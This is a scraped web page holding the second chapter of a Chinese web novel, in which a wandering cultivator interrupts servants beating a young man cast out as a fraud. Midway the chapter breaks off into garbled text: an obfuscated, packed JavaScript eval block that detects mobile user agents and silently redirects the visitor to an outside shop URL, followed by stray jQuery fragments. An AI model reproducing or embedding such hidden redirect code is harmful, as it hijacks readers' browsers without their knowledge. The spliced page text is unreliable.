文趣网 > 其他小说 > 她不会爱上一个骗子 > 2. 第二章
    一个骗子?

    这倒很稀奇,于之遥还没和骗子打过交道。

    她在一旁默不出声,先仔细将人看了看。

    那白衣人似乎摔狠了,正趴在地上一动不动,所以她一眼便将人看透了。

    观骨龄他还不到弱冠,身材并不健硕,身上的气息很干净,但体内充满了浊气。像是一点玄妙法门都没试过,彻底又普通的凡人。

    之所以这么看,是于之遥想起小女孩说的刘府出三千两找人上门捉鬼的事。

    再对照府中人口中所说的“骗子”,她猜测这人就是自己送上门,却被发现没有本事,所以才被当成骗子丢出来的凡人。

    这么一琢磨,于之遥就发现小女孩话里有一句说的不对。她说进刘府的没一个人能活着出来,但这个骗子不就是正相反的例子吗?

    虽然他出来不是用走的。

    于之遥还没收回目光,门里忽然接连响起几道脚步声。

    她一抬头,见那些家丁竟没回去,反倒手里举着棍子,一齐走了出来。

    她站在树旁,家丁们完全没关注她,只顾着团团将那白衣人围了起来。

    “老爷说给你的定金就不要了,但要废你一条腿。喂,小骗子,来挑一挑啊,你更喜欢留哪条?”

    领头的家丁身材魁梧,面色凶狠,脸上一条从眼睛长到下巴的刀疤,显得很不好惹。

    他“啐”了一声,口水吐在那白衣人背上。脚也不客气踩上去,重重一碾。直碾的那白衣人终于醒过神来,整个身子在他脚下发颤。

    “别装死啊,快说。”

    “放,放过我。让我去见见老爷,我还有话要说。”

    那白衣人艰难撑着胳膊,似乎想要起身,但背上那只大脚又用了用力。他剧烈咳嗽起来,不得不趴了回去。

    他吐出一枚叶子,捏紧手心,虚弱喊道:“我不是骗子。”

    “我呸!”

    刀疤家丁瞪他一眼,表情看起来更凶恶了。他拿着棍子在白衣人头上晃来晃去:“还在这骗,都叫你白吃白喝了好几日,还不满足?也都怪你那么废物,连妖怪不妖怪都看不出来。老爷现在忙得很,可没工夫再陪你玩了。”

    刀疤家丁说完冷笑一声,将棍子杵在白衣人后脑勺,重重压了一下,俯身在他耳畔低语道:“不过老爷没空,我们哥几个闲着,能好好陪你玩玩。怎么样,开不开心?”

    他说着头一点,也不管那白衣人是个什么反应。自顾自退开一步,对跟上来的家丁招了招手,出声喊道:“给我打!”

    那些家丁听命行事,说打就打,也不收力。“嘭”“嘭”打了几下,那白衣人身子一颤,洁白的衣裳便沾染上一些血迹。

    白衣人“噗”的一声吐出几口血,脸色煞白。见挣扎不开,蜷缩起身体,咬牙开始求饶道:“好好……我认错,我认错行不行?放过我,别打了……”

    “他说什么?”

    刀疤家丁忽然手一握,让手下家丁停下来,他方低头看着人笑:“不是骗子?”

    “事到临头,还敢说自己不是骗子,怎么,放哥几个傻么?”

    刀疤家丁看他几眼,嗤笑一声,忽然在手上吐了口唾沫,紧紧握住棍子。他眉头一挑,一边狠狠往下砸一边轻快说道:“不聪明,还敢当骗子,下辈子记得瞧好咯!”

    “哐当”一声,砸下去的棍子破了风势,却没落到预料之中的皮肉上,反倒砸在一柄突然伸过来的凉伞上。

    刀疤家丁的得意被脆弱至极的伞骨拦住了,不仅让他卸了力。还反过来将他往后震,让他后退了半步。

    刀疤家丁脚下站稳,满脸不可置信。等发现阻拦他的竟是一个年轻女子后,他忍不住发怒道:“你是谁?!”

    “谁让你来多管闲事的!”

    似乎恼羞成怒,他站稳后又抬起棍子,这回是朝面前那张脸上砸去的。

    看见那张脸,刀疤家丁中途还觉得若是打坏有点儿可惜。不过可惜归可惜,他没有一点要放水的打算。

    毕竟好看的女子没了还有下一个,他的威严若是扫地,往后还有谁服他?

    这么一想,刀疤家丁又暗暗添了几分力。

    结果那女子竟避也不避,头也不抬,随手将凉伞抬起,便轻松将那棍子又挡了回去。

    不止如此,那伞骨上似乎还多了股无法阻挡的力道。将那刀疤家丁“蹬蹬蹬”,反推出去一丈远。

    刀疤家丁站稳后猛地抬头,眼睛圆睁,不可思议的看着那稳稳站在原地的人:“你……”

    于之遥收手后,见他好似愣住了,便没空再搭理他。

    她看着手里断成两截的凉伞,满脸可惜。

    她摸了两下断裂的伞骨,转念想到什么,忽然抬起头,看着那刀疤家丁问:“你能赔我三十文吗?”

    那刀疤家丁站在原地半天没动,周围的家丁拱卫过来,关心他道:“大哥,你没事吧?”

    唤了好几声,他才勉强回过神,刚故作平静的挥挥手,便听见于之遥平平淡淡的话语。

    他暗暗皱了下眉,还没来得及开口说话,旁边有家丁替他回道:“凭什么?”

    于之遥举起坏掉的凉伞给他们看:“他把我伞弄坏了,正好三十文。”

    她表情太认真,害得刀疤家丁疑惑的揉揉胳膊,再低头去看她手里断裂的伞。

    他没记错的话,是那女子自己将伞伸过来,才被打断的吧?

    虽然他手中的棍子还好好的,但他的胳膊到现在还疼呢。

    所以,怎么就轮到他来赔了?

    刀疤家丁低头看看伞,又抬头看看于之遥认真的脸。

    ……若是不赔,她该不会还要动手吧?

    算了,就三十文。

    刀疤家丁脊背一僵,嘴唇颤动一下,正要说赔。身后其他家丁却看不下去了,在一旁替他不耐烦道:“你故意来闹事的?”

    一名家丁拍着刀疤家丁的肩膀,瞪着于之遥道:“我们都看见了,是你在碰瓷!”

    于之遥眨了眨眼,疑惑说了句“碰瓷”?

    她有吗?

    那刀疤家丁先是一愣,扭头看见其他家丁满脸的怒气。他脑子一转,便想明白了。

    站在旁观者的视角,的确是那女子故意将凉伞伸出来让人打断,再好向他索赔。

    而刀疤男人退后的几步,因为他棍子没断,胳膊上受得内伤也没人看见,便被他们当成是脚滑了。

    虽然没人知道他今天为什么总脚滑。

    总之没人将那女子当回事,反而纷纷瞪着她,看起来想用气势压人:“闹事还碰瓷,你是想让我们喊人还是报官?”

    “啊,报官?”

    于之遥愣了一下,快速眨眨眼,摆摆手说:“那算了,就三十文,不用赔了。”

    她低下头看了眼断裂的凉伞。

    她其实不怕报官,她顶多算是阻碍他们滥用私刑,但这是行侠仗义。

    她只是很怕惹麻烦,而且总不能还没开始入府做任务,就先被他们家的家丁拉去报官吧?

    于之遥想的认命了,低头看了眼凉伞,在心里告诫自己下次要行侠仗义前,最好别太冲动,再弄坏心仪的东西就不好了。

    而且刚买的东西就弄坏,显得她很不懂珍惜。

    她这副垂眸沉思的样子,放在那些家丁眼里就是服软,服软就意味着好欺负。

    有个家丁见她这副柔柔弱弱的模样,便舔了舔唇,自作聪明的上前一步,反过来威胁她道:“你说不报官就不报官?那就白让你在这里闹事了?”

    “不如……”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744091|209194||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    他脸上的表情越来越狰狞,刀疤家丁脑门一跳,连忙给了他一巴掌,斥道:“闭嘴!”

    那家丁愣了一下,捂着脸看他:“大哥,怎么了?”

    他满脸莫名其妙,刀疤家丁瞪他一眼,不想跟他解释,那女子虽然看起来柔弱可欺,下手也很轻,但他可是和她交过手的,知道她只是不想闹事,才不是闹不了事。

    所以可不能把人惹急了。

    不过……

    抬头见那女子站在树下,看上去似乎很好说话的模样。

    刀疤家丁若有所思,选择出言试探道:“既然不是闹事,那姑娘为何一言不合就出手?”

    于之遥看他们一眼,慢吞吞收起凉伞,后退一步,指了指地上那个奄奄一息的人影,说道:“我只是看不惯你们滥用私刑而已。你们明明说好的取人一条腿,却恨不得将人打死。你刚刚可是朝他脸上打去的,怎么,是你们老爷让你这么干的吗?”

    于之遥本来是不想随便出手的。

    毕竟凡间自有因果报应,被打的人还是个骗子,所以尽管觉得他有点可怜,她也没想着要插手。

    但是看那个有刀疤的家丁似乎带着私怨,想取人性命的样子,她便没忍住。

    “我……”

    刀疤家丁心虚的摸摸头发,不敢和于之遥对视上。

    他的确存了一点私心,想着顺势把这个该死的骗子弄死就罢了,只推说不小心就算了,反正那骗子无权无势,没来历没亲人,不会有人找他麻烦。

    谁知道这么隐秘的心思,竟能被人发现,尤其还是一个真能管他闲事的人。

    刀疤家丁暗暗揉了揉胳膊,只能嘀咕着,算那个小骗子走运。

    他想完“哼”了一声,低下了头,这才发现那小骗子居然不见了。

    他呼吸错乱了一瞬,好在眼睛一偏,便轻松找到了那抹白影。

    “真不愧是你啊,小骗子,这都能跑!”

    刀疤家丁眼里再看不见旁人了,他提着棍子几步上前,堵住了那个躺在地上开始装死的身影。

    刚刚没人关注他,还真差点让他溜走了。

    想到那个结果,刀疤家丁眼一沉,表情更凶狠了几分。

    他“呸”了一声,狠狠踩上白衣人的背,脚再重重一碾,冷声道:“跑啊,怎么不跑了?”

    白衣人见势不妙,趴在地上没敢再动了。他闷哼一声,默默承受着背上传来的力道,指尖扒着石板,晦暗的眸子遮挡在凌乱的青丝下,也不知道在想什么。

    但无人在意。

    刀疤家丁脚上踩着人,手里提着棍子悬在白衣人腿上三分。他手在那里停了停,没急着动。

    他扭头看着于之遥,看了两眼,沉声道:“你说的对,滥用私刑的确不对。所以我这次打算听老爷的,废他一条左腿,这总行了吧?”

    于之遥捏了捏伞柄,和他对视一眼,又将视线挪到白衣人身上,再挪到旁边的树叶上,没话好说了。

    若这人滥用私刑,她还能管一管。

    但他听命行事,她只能当没看见了。

    那刀疤家丁见状勾了勾唇角,故意卖乖道:“大家都来看着,我若是不小心夺了他的小命,谁都可以送我去报官。”

    他眼底划过一抹戾气,舔舔唇,再不等待,也不管手臂还隐隐作痛,双手握住棍子便用力往下砸。

    “嘭——”的一声,

    棍子却又落空,砸在了青石板上。

    他怒极扭头:“你!”

    那股灰尘还没落下去,那白衣人忽然像是一尾鱼一般,快速往旁边打了个滚,便避开了他又追来的棍子。

    再然后,那白衣人直接滚到于之遥身前。抱紧她的小腿,用所有人能听见的声音道:“娘子,你终于来救我了。”